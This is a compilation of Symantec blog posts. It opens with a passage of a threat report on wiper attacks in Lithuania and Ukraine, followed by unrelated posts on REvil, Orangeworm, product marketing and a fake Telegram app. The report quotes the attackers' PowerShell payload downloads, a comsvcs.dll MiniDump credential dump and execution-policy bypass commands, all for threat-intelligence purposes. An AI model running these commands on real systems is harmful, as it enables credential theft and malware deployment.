An organization in Lithuania was compromised from at least November 12, 2021, onwards. It appears the attackers may have leveraged a Tomcat exploit in order to execute a PowerShell command. The decoded PowerShell was used to download a JPEG file from an internal server, on the victim’s network.
cmd.exe /Q /c powershell -c "(New-Object System.Net.WebClient).DownloadFile('hxxp://192.168.3.13/email.jpeg','CSIDL_SYSTEM_DRIVE\temp\sys.tmp1')" 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
A minute later, the attackers created a scheduled task to execute a suspicious ‘postgresql.exe’ file, weekly on a Wednesday, specifically at 11:05 local-time. The attackers then ran this scheduled task to execute the task.
cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
schtasks /run /tn "\Microsoft\Windows\termsrv\licensing\TlsAccess"
Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local-time instead.
Beginning on February 22, Symantec observed the file ‘postgresql.exe’ being executed and used to perform the following:
Execute certutil to check connectivity to trustsecpro[.]com and whatismyip[.]com
Execute a PowerShell command to download another JPEG file from a compromised web server - confluence[.]novus[.]ua
Following this activity, PowerShell was used to dump credentials from the compromised machine:
cmd.exe /Q /c powershell -c "rundll32 C:\windows\system32\comsvcs.dll MiniDump 600 C:\asm\appdata\local\microsoft\windows\winupd.log full" 1> \\127.0.0.1\ADMIN$\__1638457529.1247072 2>&1
Later, following the above activity, several unknown PowerShell scripts were executed.
powershell -v 2 -exec bypass -File text.ps1
powershell -exec bypass gp.ps1
powershell -exec bypass -File link.ps1
Five minutes later, the wiper (Trojan.KillDisk) was deployed.
SQL Server exploit
The attackers appear to have used an exploit of a known vulnerability in Microsoft SQL Server (CVE-2021-1636) in order to compromise at least one of the targeted organisations. In an attack against an organization in Ukraine, the following process lineage was used to execute the “whoami” command on November 11 2021:
CSIDL_SYSTEM_DRIVE\program files\microsoft sql server\mssql12.mssqlserver\mssql\binn\sqlservr.exe,CSIDL_SYSTEM\services.exe,CSIDL_SYSTEM\wininit.exe
The next day, the same process lineage was responsible for executing the following PowerShell command:
(New-Object System.Net.WebClient).DownloadFile('hxxp://[INTERNAL_HOST]/label.ico','C:\temp\sys.tmp1')
The organization was running an unpatched version of Microsoft SQL Server.
Ransomware decoy
In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at the same time as the wiper. As with the wiper, scheduled tasks were used to deploy the ransomware. File names used by the ransomware included client.exe, cdir.exe, cname.exe, connh.exe, and intpub.exe. It appears likely that the ransomware was used as a decoy or distraction from the wiper attacks. This has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
Figure 1. Ransom note used in decoy ransomware
Developing situation
With an invasion now underway, there remains a high likelihood of further cyber attacks against Ukraine and other countries in the region. Symantec’s Threat Hunter Team will continue to actively monitor the situation and post updates to this blog if new information becomes available.
Protection/Mitigation
Symantec Endpoint products will detect and block this threat using the following signatures:
Trojan.Killdisk
Trojan.Gen.2
Trojan Horse
Ws.Malware.2
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 – Trojan.Killdisk
0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da – Trojan.Killdisk
a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7e5cebf4d3e – Trojan.Killdisk
4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 - Ransomware
|
Uncovering Kaseya REvil Attack
Dynamic sandboxing and community protection
The world learned of the Kaseya REvil attack on July 2. The supply-chain exploit ultimately impacted 1,500 organizations, one million endpoints and demanded $70 million in ransom. The good news for Symantec customers? We identified the malware through automated sandboxing and protected our customers 90 seconds after its discovery.
The information that identified the REvil attack was turned into proactive protection immediately for all Symantec Secure Web Gateway customers, including Web Security Service.
At the time, we didn’t have a specific signature of the Kaseya malware – and we didn’t need it. Instead, our automated Malware Analysis capability spotted the code’s malicious behavior. Symantec has developed a cloud-based, multi-tiered solution that includes advanced analysis techniques to identify and neutralize malware designed to evade detection technology. These techniques block known threats, analyze anything new and unknown, and combat evolved attacks. This service is delivered via Symantec’s distributed global cloud datacenter network, providing local access to critical security services from a certified, redundant, and highly available environment.
The key is sandboxing. That means we pull unknown or suspicious code aside on the fly when it comes across a customer’s network. Next, we safely execute it on a virtual machine without risking harm to the host device or network. In effect, Symantec automatically detonates the unknown file and watches and records what happens. Our sophisticated sandbox fools the code into executing its malicious behavior by mimicking the download and even the keystrokes so the malware behaves as if it has found its unwitting target. And it just takes seconds. In the past, malware could run in the wild for days before being identified.
The information that identified the REvil attack was turned into proactive protection immediately for all Symantec Secure Web Gateway customers, including Web Security Service.
Malicious code always acts badly. We don’t care whether it’s wearing a signature hat or mask – is it trying to rob the bank? Malware has specific behavior patterns that we’ve come to recognize. Watching for these actions has the added benefit of helping spot unknown, “zero day” malware quickly. When found, the miscreant files are quarantined, a user session can be terminated, and the details forwarded to the Symantec Global Intelligence Network (GIN) to enhance protection for all our customers.
Symantec automatically updates its intelligence on millions of malicious files and URL threat indicators every day to the GIN. From endpoints to servers, and at the network traffic level, we share telemetry amassed from 15,000 Symantec customer companies across the globe. That includes information correlated from millions of endpoints and network sensors.
It's about being part of a larger security community, backed by an industry leader. I encourage you to investigate more on Symantec GIN and our Web Protection Suite.
With us, there’s strength in numbers.
|
Uncovering the Next Significant Cyber Attack
Connected Technology Leads To Increased Threat
Samir Kapuria
At Symantec, we have a meaningful mission to protect and enable the digital world. We have the best experts at the helm, helping defend our customers with leading products and services that are harnessed in Symantec’s security operation centers, integrated cyber defense and digital safety solutions. At the core, Symantec’s 11,000 employees around the world are credited with making a difference in identifying potential threats and protecting our customers from the next generation of attacks – they are the source of the Symantec advantage.
As such, building the security IQ and skill set of our employees is key to our ability to better protect our customers. This is the reason why we invest in building and running CyberWar Games, Symantec’s virtual world that identifies tomorrow’s threats and empowers our employees to take on the role of the adversary. By walking in the shoes of the attacker, our people are better prepared to detect, respond and defend against new and emerging cyber threats.
What is CyberWar Games?
CyberWar Games is an annual event where we look at today’s emerging technology to analyze tomorrow’s threats - it’s a recognition and celebration of our most powerful differentiator - Symantec’s combined security IQ. This experience is an opportunity to invest in our people and also in our offerings as we apply our findings to enhance our services and products for our customers. It is a safe place for our employees to practice, learn and innovate around emerging threats and use cutting-edge technology to defend against them.
Cyber War Games finalists in action
Each year, Symantec’s Cyber Security Services picks a theme based on where we see the threat landscape emerging. Five years ago, we focused on nation states. In year two, we explored oil and gas and SCADA systems. Year three studied the financial services industry as it started to adopt and integrate technology at a rapid pace. And year four was focused on healthcare and the impact cyber threats had on this industry that had the potential to affect the well-being of citizens. Insights from each year’s Games are provided to the industries and the world to help protect those global institutions. For example, when we held a healthcare-focused CyberWar Games in 2015, our findings revealed new attack vectors that could impact hospitals, pharmacies and even the technology employed by the medical industry. We provided our insights to the healthcare industry and helped improve this sector’s security posture.
Our 2017 CyberWar Games challenged the best of Symantec to take on the most realistic and physically immersive challenge of their career, the global supply chain, to explore both the risks this type of major cyber attack could have on the worldwide economy and the areas of solutions needed to protect from a global scale event.
Predicting the Next Cyber Attack
As we examined the potential threat vectors that could lead to a major cyber attack, what became very apparent was the significant pressure for businesses and municipalities to digitally transform their operations to lower operating costs and increase productivity. Modernization of technology has many benefits – such as simplifying day-to-day tasks for employees, building long-term brand loyalty among customers and automating processes for real-time management and performance analysis, however, security often becomes an afterthought when responding to external pressures.
As more and more key systems and infrastructure become increasingly connected, the surface area that one might attack expands and it creates more potential windows for criminals, since a defense system is only as strong as its weakest link. This connected network of devices can access and transmit information throughout business functions and across different industries, introducing the potential for a cyber attack scenario we call the ‘digital domino effect’. While devastating to a business, the ‘digital domino effect’ could have a greater societal impact by escalating a seemingly small cyber attack to an exchange of global power and influence by targeting the production and trade of important commodities like oil, metals and agricultural products.
The ‘Digital Domino Effect’ of Connected Systems
Symantec experts took a close look at how an attacker, whether as part of organized crime or as a member of a nation state, might target connected technologies as an entry point to businesses or governments. There are several examples of how modernized business practices may be taken advantage of and manipulated - including the use of mobile technology on access control systems, ZigBee protocols that monitor and manage SCADA systems responsible for running our power and energy grids and even emerging technologies like autonomous vehicles and the Internet of Things (IoT). Each of these pillars of our economy are connected through technology, and these connections are dependent on one another and when offline, could lead to the failure of an organization or a nation.
The connective fabric of small devices controlling critical systems and infrastructure introduces new threats likely to be targeted by cyber criminal setting off a “digital domino effect” of cyber attacks.
During the scenario, teams were able to infiltrate multiple entry points within a business targeting the fabric of connected devices. They were also able to use these smart systems to string together a series of attacks creating that ‘digital domino effect’, leading to an ultimate shift in the global power and influence scale through commodities trading. Given these results, we can conclude the next significant cyber attack will likely involve targeting the connected ecosystem of a major business, municipality or nation state, setting off, whether on accident or on purpose, the ‘domino effect’ that forces a change in global power.
Staying Protected
One of the inherent risks of adopting emerging technologies is the level of security these innovations have built into them. It can be nearly impossible to detect and respond to the unknown threats of the future because we haven’t seen them before. Immersive events like CyberWar Games allow our teams to build their skills and learn about the latest attacker tools, tactics and procedures by stepping into the shoes of the very adversaries they spend their careers defending against.
With CyberWar Games, Symantec is able to create a real-world hypothetical scenario and often times accurately predict the next potential cyber attack because of the strength of our employees, the breadth of our global intelligence network and the innovative tools at our disposal. As we move ahead and businesses adopt connected technologies to manage the global supply chain, we’ll be leading the charge in helping protect our customers against the threats of the future.
[Editor's Note: This blog was originally published 06/01/2017]
|
Under-Equipped, Under Siege: Healthcare Faces New Attacks, Old Headaches
Recent attacks by a previously unknown group called Orangeworm also reflect an increasing tendency to target organizational supply chains
As if it didn’t have enough to worry about, the healthcare industry is being stalked by a mysterious new adversary.
Last last month, Symantec identified a new attack group, dubbed Orangeworm, that deployed the Kwampirs backdoor in a targeted attack campaign against the healthcare sector and related industries in the United States, Europe, and Asia.
While the identity of the attack group still remains unclear, the perpetrators have demonstrated both sophistication and a highly-organized approach in their attempts to collect information on their targets in the healthcare supply chain. Symantec telemetry found that almost 40 percent of Orangeworm’s confirmed victim organizations operate within the healthcare industry.
What’s more, theirs isn't a scattershot approach; rather, the group spends considerable time gathering information about targeted systems and networks. Although their motives remain unclear, the evidence left behind suggests their intent is corporate espionage, rather than data theft or sabotage. These highly-targeted attacks also appear designed to be reconnaissance and information-gathering missions, such as gathering lists of files on the drive of an infected machine.
This sort of attack also was the initial infection vector for the Petya/NotPetya malware, which used a Trojanized update for a Ukrainian accounting software to infiltrate corporate networks, before later spreading worldwide using the EternalBlue exploit and other methods.
The Kwampirs malware was discovered planted on sophisticated machines such as X-Ray and MRI machines. Additionally, Orangeworm was observed to have an interest in equipment used to assist patients in completing consent forms for required procedures.
After infiltration of the network, Trojan.Kwampirs, a backdoor Trojan, provides attackers with remote access to compromised computers. The backdoor collects rudimentary information about the compromised computers to determine whether the system is a high-value target. At that point, Kwampirs can spread rapidly across old Windows networks. The healthcare industry is particularly at risk due to the presence of so many older computers that still run Windows XP.
Something Old, Something New
This attack method also reflects an increasingly popular strategy in which attackers go after organizational supply chains, injecting malware implants to infect unsuspecting victims. Indeed, Symantec found an average of one supply chain attack occurred every month last year, compared to four attacks annually in previous years. These types of attacks allow attackers to infiltrate well-protected networks by exploiting weak links in their software supply chain.
While Orangeworm focused primarily on the healthcare industry, its secondary targets were found to have multiple links to healthcare within the manufacturing, information technology, agriculture, and logistics industries - whether that be the supply of medical imaging devices or support services to medical clinics, and logistical organizations that delivered healthcare products.
Even though these verticals have a better cyber security track record than healthcare, they remain highly vulnerable; as Symantec’s most recent Internet Threat Report notes, attackers are able to spread malware through already established distribution channels and so “compromise a large volume of computers in a short period of time, especially if the compromised software has an automated update mechanism.”
In the Crosshairs
Cyber criminals have had the healthcare industry in their crosshairs for some time now. Assailants carried out a well-publicized attack against the Hollywood Presbyterian Medical Center in Los Angeles, Calif. a couple of years ago, successfully holding the facility’s computer systems hostage until the hospital paid a $17,000 ransom in bitcoins. Copycats, lured by the prospect of scoring quick and easy returns on their investment, followed with their own ransomware attacks throughout the remainder of 2017 against other healthcare institutions.
Hospitals are expected to continue to get singled out for attack this year. Not only do they have more to lose - critical care providers need to maintain uninterrupted access to patient data, which can literally can be a matter of life and death - but some institutions may be tempted to pay out ransoms.
Also, the potential returns are relatively high. Personal health information can be 50 times more valuable on the black market than, say, stolen financial information with patient health records found to be selling for as much as $60 per record.
For the interim, all this suggests the bad guys will keep attacking what they consider to be an easy target. Many health care institutions rely on insecure, legacy computer systems that are vulnerable to skilled cyber attackers. There’s just plainly plainly more to maintain when it comes to healthcare infrastructure. However, a report issued earlier this year by Symantec and HIMSS Analytics found that the majority of healthcare providers spend less than 6% of their IT budgets on cyber security. By comparison, the finance industry typically tends to spend 10 to 12% of its IT budget on security.
“Diversity comes at cost,” says Symantec Technical Architect Axel Wirth, adding that “from a security perspective that’s a problem because in security, diversity in your enemy.”
If you found this information useful, you may also enjoy:
New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia
Healthcare Cyber Security: Is That Light at the End of the Tunnel?
3rd Annual Healthcare IT Security & Risk Management Study
2018 Symantec Internet Threat Report
|
Understanding Risk with People, Processes and Technologies
Symantec helps you manage your business for greater success
Risk is an issue that everyone has to acknowledge and deal with, whether it is financial risk, safety and most importantly in our opinion: cyber security risk. You need to understand what your risk is in order to prioritize your efforts to mitigate it to an acceptable level. As enterprises implement their information security programs, they have to look at people, processes and technologies for effective programs. Symantec is committed to assisting our customers in the implementations of their information security programs.
While information security programs involve people, processes and technologies, let’s concentrate on the people aspect. Certain actions, whether well intended or not, present a risk to an organization’s information. These risks could lead to a data loss event or potentially a disruption of service, further leading to damage to the organization’s reputation. In order to protect against their actions, you need to understand the user’s actions and behaviors. Understanding what your users are doing and comparing them to others in your organization gives you insight that can help you decipher who the outliers are. These outliers could be unusual authentication events indicating a potential compromised account, downloads of sensitive information to a personal device, uploads of information to a personal cloud account, or broken business processes that go against corporate policies. With this understanding, you’ll be able to develop your plan and prioritize efforts to mitigate the risk.
Symantec is committed to assisting our customers in the implementations of their information security programs.
The context organizations need are often provided by user and entity behavior analytics solutions. According to Gartner, a technology research and consulting company, “User and entity behavior analytics (UEBA) solutions use analytics to build the standard profiles and behaviors of users and entities (hosts, applications, network traffic and data repositories) across time and peer group horizons. Activity that is anomalous to these standard baselines is presented as suspicious, and packaged analytics applied on these anomalies can help discover threats and potential incidents. The most common use cases sought by enterprises are detecting malicious insiders and external attackers infiltrating their organizations (compromised insiders).”
Reinforcing our UEBA functionality
At Symantec, as part of Broadcom Software, we are making significant enhancements to our UEBA capability in CloudSOC, our Cloud Access Security Broker (CASB). We will be using the deep expertise of our Information Centric Analytics to provide enhanced functionality for our CloudSOC customers. The initial capability will help our CloudSOC customers understand who their highest risk individuals are so they can prioritize their efforts and put controls in place to mitigate risk presented by their users.
On the Detect page (Users), you’ll see three columns on the bottom half of the page. The purpose is to convey who the riskiest individuals are in general, and then take a look at individuals from a policy violation perspective and from a user actions perspective. The columns will have a ranked listing of individuals for each category.
Risk is not static though. This is especially true when considering individuals’ behavior. As you educate individuals to understand security policies and modify their behavior to comply better, or put controls in place to limit access, or prevent actions, you will see a reduction in risk posed by those individuals but someone else rises to the top. So, understanding how an individual compares to his or her peers and to the overall organization is important. An individual’s ranking is dynamic and so dealing with the risk presented is an ongoing effort.
Within CloudSOC, there will be new concepts and terms introduced that will help organizations see the rankings of their individuals. It is not just a score, but how individuals are creating incidents as they relate to other individuals.
Risk percentile. This is determined by comparing the risk score to all other risk scores for that entity type.
Risk rating. This is an analysis of an individual or entity’s behavior and then compared with other individuals or entities within the organization. The risk ratings are critical, high, medium, low and unrated. Other than unrated, these rating category thresholds are configurable. The intent of these ratings is to quickly show who the security team needs to deal with sooner rather than later.
Risk vectors. Risk vectors are used to calculate risk scores. Risk vectors show the activities that determine the risk rating. These risk vectors can be weighted so that customers can put emphasis on events they deem more critical to their security program. For example, if data loss prevention is more important, customers can weigh DLP incidents more heavily. In essence putting a lens on that category of events. The risk score that is produced is a sum of all weighted scores for that entity.
We’ll be introducing a User Details page. When you click on an individual from the Detect page, it will take you to that individual’s page. The details page is meant to provide one page with pertinent information so that security analysts can see what is causing the user to be risky. They then can take actions to triage those incidents.
The radar graph on the User Details page replaces the threat tree. It is a display showing the risk vectors associated with the entity and shows their behavior compared to the organization. This will help easily identify if the individual is an outlier and potentially requiring attention.
In summary, Symantec is committed to helping our customers effectively manage risk to their information and the improvements that were discussed are the first steps in expanding our analytics capabilities in CloudSOC. Our solutions are a part of a robust information security program. Managing risk though starts with understanding where your risk is and who/what is creating it. Then it is a matter of putting control measures in place to mitigate it. Those measures are a combination of people, processes and technologies.
|
United We Stand
How Symantec and Partners Are Leading the Shift to Integrated Cyber Defense
A little more than eighteen months ago, we launched the Symantec Technology Integration Partner Program (TIPP). Our goal was to create the leading technology partner ecosystem in cyber security, focused on delivering high-value integrations and not on the number of logos. Today, we take a major leap forward with the announcement of several new enhancements and innovations to the Integrated Cyber Defense (ICD) platform that will further accelerate the growth of the community and the value it delivers to enterprise customers.
Beyond the details of today’s news, I wanted to take the opportunity to provide a status report on the thriving state of TIPP and what’s next. But first let me provide more context as to how we got here.
It Takes A Platform
If we go back a few years, it was becoming increasingly (and for cyber attack victims, painfully) obvious that cyber security had to change its ways. The bad guys had figured out that the Cloud, for all of its myriad business benefits, was turning enterprise cyber security on its head – e.g., no more perimeter, data anywhere and everywhere, new control points to manage and secure. Cyber criminals were quick to recognize a host of new vulnerabilities and places to attack.
Deploying yet another point product to plug the latest hole in the “cyber security dike” was a losing proposition. Our philosophy – then and now – is that cyber security systems need to share data and context about what they know, what has been blocked and why, what they have detected as suspicious and the like.
The Symantec Integrated Cyber Defense platform, together with TIPP, set up the framework to do exactly that. Our guiding principles for the ecosystem remain the same—be open so anyone can integrate; be agile, because we have to outpace the bad guys; and be high-value, focusing on integrations that can appreciably improve security and simplify operations for the cyber warriors in Security Operations Centers (SOCs) all over the globe.
Empowering the SOC: Getting from Problem to Answer, Faster
In addition to a quickly-evolving threat landscape, the cyber security industry is struggling to cope with a widespread industry skills shortage. That means most cyber security staffs simply don’t have the time to learn the nuances of all of the security technologies they purchase, much less do the hard, time-consuming work of integrating multiple vendors and dozens of products.
This is ultimately what ICD, and TIPP specifically, address. TIPP provides partners with access to a rich set of APIs, product support, demo licensing for engineering and certification, documentation and direct access to over 700,000 users – so they can innovate and get to market more quickly, ultimately helping SOC teams get from problem to answer a lot faster.
A Thriving Ecosystem
Eighteen months in, TIPP now includes approximately 120 active technology partners. Together, we’ve created more than 250 deep integrations focused on key facets of cyber security today, including Cloud Security, Data Loss Prevention, Encrypted Traffic Management, Identity, Messaging, Threat Protection and Web Protection. Today’s announcement of ICD Exchange (ICDx) – a universal data exchange that provides shared intelligence, communication and automation across Symantec and third-party products – will both simplify and rapidly accelerate the pace of our partner integration work.
TIPP has rapidly become a “who’s who” of industry players working together with Symantec to create an integrated and orchestrated cyber defense, including companies such as:
Splunk. Together, Symantec and Splunk have built several integrations covering Secure Web Gateways, Network Forensics, DLP, Endpoint Detection and Response and Email Security. Symantec’s SOCView app supports curated investigator views that create greater visibility across domain, file, email and threat intelligence. A unified dashboard view gives security analysts the ability to quickly see the global distribution of threats and highlights the highest priority malicious URLs, sources and files. In addition, SOCView details the most affected endpoints and email sender and recipients and reports security events statistics by product.
Box. Working, sharing and collaborating in the Cloud is here to stay, and Symantec and Box have conducted multiple integrations to move security controls into the Cloud. Integrations with Symantec’s CloudSOC Cloud Access Security Broker (CASB) and Data Loss Prevention (DLP) products allow for safe, secure and compliant use of Box Enterprise while also providing data loss prevention capabilities to Box cloud storage.
ServiceNow. Integration with ServiceNow gives ServiceNow Security Operations users the ability to visualize ICDx-created security incidents and enrich the incidents using ICDx’s native event searching capability. Workflow actions [will] enable ServiceNow users to automate different actions across various Symantec products covering Investigation Search, Third Party Enrichment, Incident Management, and Response.
Fortinet. Symantec and Fortinet are integrating Fortinet’s best-in-class next-generation firewall with various aspects of ICD, including Symantec’s cloud-delivered Web Security Service (WSS) and Symantec Endpoint Protection (SEP). In addition, Fortinet's firewalls will have enhanced visibility from Symantec's threat telemetry feeding into Fortinet's Security Fabric. These integrations and the embedding of more intelligence in our systems will provide essential security controls across endpoint, network, and cloud environments.
I am really proud of the fact that in eighteen short months, we have achieved what we set out to do when we launched this partner ecosystem. We’ve made tremendous progress together as a community. That said, we have more to accomplish – and today’s announcement of ICDx and other ICD enhancements gives us the ability to move even faster to integrate our data feeds with partners, link together our defensive platforms, leverage each other’s advanced detection suites, and automate workflows to enhance security and increase productivity.
All Aboard
In addition to TIPP, we also announced today a new “Innovation Playground” designed specifically for startups, so they too can leverage Symantec APIs and data feeds to reduce their time to market and ensure their products work well with ICD.
I think we all understand that cyber security today is an existential battle with enormous stakes. Working in silos is no longer a viable option. I don’t think I can put it any better than how one of our partners articulated it:
"In order to reduce security operations complexity and fight today’s increasingly sophisticated adversary, organizations need products that work as a platform instead of an army of point products working in silos. Splunk’s support for the ICD Platform provides our joint customers with consolidated views across their security infrastructure, including incidents flowing from endpoint, web, network and email security solutions." – Oliver Friedrichs, VP, Security Automation and Orchestration at Splunk
So, I’ll close with a pretty simple call to action. The future of cyber security is platform-based, and Symantec is ready to work with you. Now more than ever, our customers depend upon us working together for their common good – so climb aboard!
Find out more about the TIPP program below:
TIPP Program Information
TIPP Technology Partners
TIPP Integrations Map
TIPP Innovation Playground
|
Unlocking Value and Success for Partners
Broadcom is committed to a robust partner ecosystem
In the years that I have led Broadcom, I have found two things to be true for technology leaders: First, success with your customers starts with success with your ecosystem partners; and second, driving ecosystem growth is key to maintaining the growth of your own business.
This is why, at Broadcom, we bring innovation, investment and attention into our making customer value a lasting reality through our pioneering partner programs. These programs help us drive two pivotal customer objectives: innovation in technology and innovation in business models.
From joint innovation to accessing new markets, our pioneering partner programs help us do more for customers. As digital transformation accelerates, customers need fully integrated solutions that address their needs.
Today, we have more than 35,000 partners in our IT infrastructure and cybersecurity software ecosystem, and every single one plays a vital role in bringing value and success for our customers. We work with many kinds of partners across the entire value chain – including the production, procurement, distribution and deployment of our products. They help us expand the reach of our technology and drive better business efficiency and experiences for customers.
When we set out to make any business decision, we always ask ourselves the following three questions:
Does it drive a better outcome for the customer?
Does it allow and enable profitability for a partner?
Does it drive better efficiencies for Broadcom?
If the answer to any of these is ‘no’, it’s not a path worth pursuing. Our partners and customers should always benefit from the decisions we make.
What Partners Bring to Broadcom’s Customers
At Broadcom, we understand that the key to growth isn’t found in being all things to all people, but instead we believe our customer-first mindset, coupled with purposeful partnerships, is key to delivering untapped value for customers.
Broadcom’s innovative and industry-first partnership models provide that purposeful plan for how our partners integrate into the overall value chain, and empower each company to leverage their core competencies and do what they do best. Our highly capable partners help us provide solutions for customers ranging from the world’s largest public and private organizations to small- and medium-sized businesses (SMBs). Through Broadcom’s unique friction free Expert Advantage Partner Program, partners deliver high value services to customers of all sizes – including our largest enterprise accounts.
Yet, the value our partners deliver goes far beyond services. Showcased on our Insights Marketplace at https://expert.broadcom.com, customers can find our partner-built applications that extend our product capabilities and tailor them for specific use cases – unlocking more value from our customers’ investments. In short, for every challenge, there’s a Broadcom partner ready to deliver the solution and support the specialized needs of businesses – regardless of size.
What Broadcom Brings to Partners
At Broadcom, we are unique in how we engage with and support our partner ecosystem. Often, commercial vendors will attempt to control how their partners conduct business. But at Broadcom, we empower partners to identify and pursue their own commercial strategies, so they can bring sales and services to end-user customers on their own terms. We introduce industry-first, go-to-market partner models with shared risk and significant rewards.
Our Global Cybersecurity Aggregator Program (CSAP) is proof. CSAP was launched to expand our market reach and deliver enhanced levels of service to a subset of commercial enterprises with unique needs. The program brings together Broadcom’s Symantec cybersecurity solutions and partners’ resources along with their in-country expertise to offer a best-in-class customer experience. We have made significant investments, including in-sales training to ensure our distribution partners are well equipped to provide better customer support and a quicker response time to evolving threats.
Our customers can also receive hands-on technical help through our unique Broadcom Software Knights Program. We vet and provide certified partners with ongoing technical training, product presale and sales intelligence so that they can handle any complex issue put in front of them with hands-on technical support. We provide them with the best so that our customers experience the best.
Together, we have a shared goal and responsibility of addressing our customers’ needs and delivering superior outcomes. It’s a win-win-win. Our message to our customers, current partners and future partners is this: our goal is to deliver superior outcomes for customers of all sizes; and our partners’ success is our success. We understand the value our partner ecosystem brings to Broadcom and mutual customers and we are committed to our partner and customers’ continued success. Learn more about Broadcom here.
Cautionary Statement Regarding Forward-Looking Statements
This communication relates to a proposed business combination transaction between Broadcom Inc. (“Broadcom”) and VMware, Inc. (“VMware”). This communication includes forward-looking statements within the meaning of Section 21E of the U.S. Securities Exchange Act of 1934, as amended, and Section 27A of the U.S. Securities Act of 1933, as amended. These forward-looking statements include but are not limited to statements that relate to the expected future business and financial performance, the anticipated benefits of the proposed transaction, the anticipated impact of the proposed transaction on the combined business, the expected amount and timing of the synergies from the proposed transaction, and the anticipated closing date of the proposed transaction. These forward-looking statements are identified by words such as “will,” “expect,” “believe,” “anticipate,” “estimate,” “should,” “intend,” “plan,” “potential,” “predict,” “project,” “aim,” and similar words or phrases. These forward-looking statements are based on current expectations and beliefs of Broadcom management and current market trends and conditions.
These forward-looking statements involve risks and uncertainties that are outside Broadcom’s control and may cause actual results to differ materially from those contained in forward-looking statements, including but not limited to: the effect of the proposed transaction on our ability to maintain relationships with customers, suppliers and other business partners or operating results and business; the ability to implement plans, achieve forecasts and meet other expectations with respect to the business after the completion of the proposed transaction and realize expected synergies; business disruption following the proposed transaction; difficulties in retaining and hiring key personnel and employees due to the proposed transaction and business combination; the diversion of management time on transaction-related issues; the satisfaction of the conditions precedent to completion of the proposed transaction, including the ability to secure regulatory approvals on the terms expected, at all or in a timely manner; significant indebtedness, including indebtedness incurred in connection with the proposed transaction, and the need to generate sufficient cash flows to service and repay such debt; the disruption of current plans and operations; the outcome of legal proceedings related to the transaction; the ability to complete the proposed transaction on a timely basis or at all; the ability to successfully integrate VMware’s operations; cyber-attacks, information security and data privacy; global political and economic conditions, including cyclicality in the semiconductor industry and in Broadcom’s other target markets, rising interest rates, the impact of inflation and challenges in manufacturing and the global supply chain; the impact of public health crises, such as pandemics (including COVID-19) and epidemics and any related company or government policies and actions to protect the health and safety of individuals or government policies or actions to maintain the functioning of national or global economies and markets; and events and trends on a national, regional and global scale, including those of a political, economic, business, competitive and regulatory nature.
These risks, as well as other risks related to the proposed transaction, are included in the registration statement on Form S-4 and proxy statement/prospectus that has been filed with the Securities and Exchange Commission (“SEC”) in connection with the proposed transaction. While the list of factors presented here is, and the list of factors presented in the registration statement on Form S-4 are, considered representative, no such list should be considered to be a complete statement of all potential risks and uncertainties. For additional information about other factors that could cause actual results to differ materially from those described in the forward-looking statements, please refer to Broadcom’s and VMware’s respective periodic reports and other filings with the SEC, including the risk factors identified in Broadcom’s and VMware’s most recent Quarterly Reports on Form 10-Q and Annual Reports on Form 10-K. The forward-looking statements included in this communication are made only as of the date hereof. Neither Broadcom nor VMware undertakes any obligation to update any forward-looking statements to reflect subsequent events or circumstances, except as required by law.
No Offer or Solicitation
This communication is not intended to and shall not constitute an offer to buy or sell or the solicitation of an offer to buy or sell any securities, or a solicitation of any vote or approval, nor shall there be any sale of securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction. No offering of securities shall be made, except by means of a prospectus meeting the requirements of Section 10 of the U.S. Securities Act of 1933, as amended.
Additional Information about the Transaction and Where to Find It
In connection with the proposed transaction, Broadcom has filed with the SEC a registration statement on Form S-4 that includes a proxy statement of VMware and that also constitutes a prospectus of Broadcom. Each of Broadcom and VMware may also file other relevant documents with the SEC regarding the proposed transaction. The registration statement was declared effective by the SEC on October 3, 2022 and the definitive proxy statement/prospectus has been mailed to VMware shareholders. This document is not a substitute for the proxy statement/prospectus or registration statement or any other document that Broadcom or VMware may file with the SEC. INVESTORS AND SECURITY HOLDERS ARE URGED TO READ THE REGISTRATION STATEMENT, PROXY STATEMENT/PROSPECTUS AND ANY OTHER RELEVANT DOCUMENTS THAT MAY BE FILED WITH THE SEC, AS WELL AS ANY AMENDMENTS OR SUPPLEMENTS TO THESE DOCUMENTS, CAREFULLY AND IN THEIR ENTIRETY IF AND WHEN THEY BECOME AVAILABLE BECAUSE THEY CONTAIN OR WILL CONTAIN IMPORTANT INFORMATION ABOUT THE PROPOSED TRANSACTION. Investors and security holders may obtain free copies of the registration statement and proxy statement/prospectus and other documents containing important information about Broadcom, VMware and the proposed transaction once such documents are filed with the SEC through the website maintained by the SEC at http://www.sec.gov. Copies of the documents filed with the SEC by Broadcom may be obtained free of charge on Broadcom’s website at https://investors.broadcom.com. Copies of the documents filed with the SEC by VMware may be obtained free of charge on VMware’s website at ir.vmware.com.
|
Unofficial Telegram App Secretly Loads Infinite Malicious Sites
The MobonoGram 2019 app was downloaded more than 100,000 times before it was removed from Google Play
We recently found a malicious app named MobonoGram 2019 (detected as Android.Fakeyouwon) advertising itself as an unofficial version of the Telegram messaging app and claiming to provide even more features than both the official and other unofficial versions in the market. While the app does provide basic messaging functionality, we found it was also secretly running a few services on the device without the user’s consent, as well as loading and browsing an endless stream of malicious websites in the background.
Figure 1. The MobonoGram 2019 app's UI has a similar look and feel to the official Telegram
The app was available to mobile users even in regions that have banned Telegram, such as Iran and Russia, and was also downloadable by U.S. users. It allowed users to toggle between English or the Persian language (Farsi). The app seemed to have used the open-source code of the legitimate Telegram app. Its developers appeared to have injected their malicious code into the app before publishing it on the Play store.
"Symantec finds unofficial Telegram app that secretly runs services, loads malicious sites in background https://symc.ly/2LWcxE6"
